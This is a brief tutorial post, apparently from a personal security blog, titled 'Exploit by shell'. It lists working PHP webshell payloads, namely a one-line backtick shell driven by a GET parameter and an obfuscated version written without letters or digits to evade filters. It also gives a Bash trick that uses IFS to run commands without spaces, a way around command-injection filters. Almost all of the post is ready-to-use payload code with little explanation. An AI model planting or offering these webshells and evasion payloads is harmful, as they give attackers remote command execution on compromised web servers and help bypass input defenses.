Exploit by shell

Published: September 02, 2018 by

• Categories:
• exploit 1
• shell 2

• Tags:
• tutorial 6

• PHP webshell
• Bash shell

PHP webshell

• Beautiful: p0wny shell
• Shortest:

  <?=`$_GET[1]`?>
  // .../shell.php?1=ls
  

• Without a-zA-Z0-9:

  <?=$_='$<>/'^'\{\{\{\{';${$_}[_](${$_}[__]);
  // .../shell.php?_=system&__=ls
  

  Bash shell

• Without space separated: cat${IFS%?}file.txt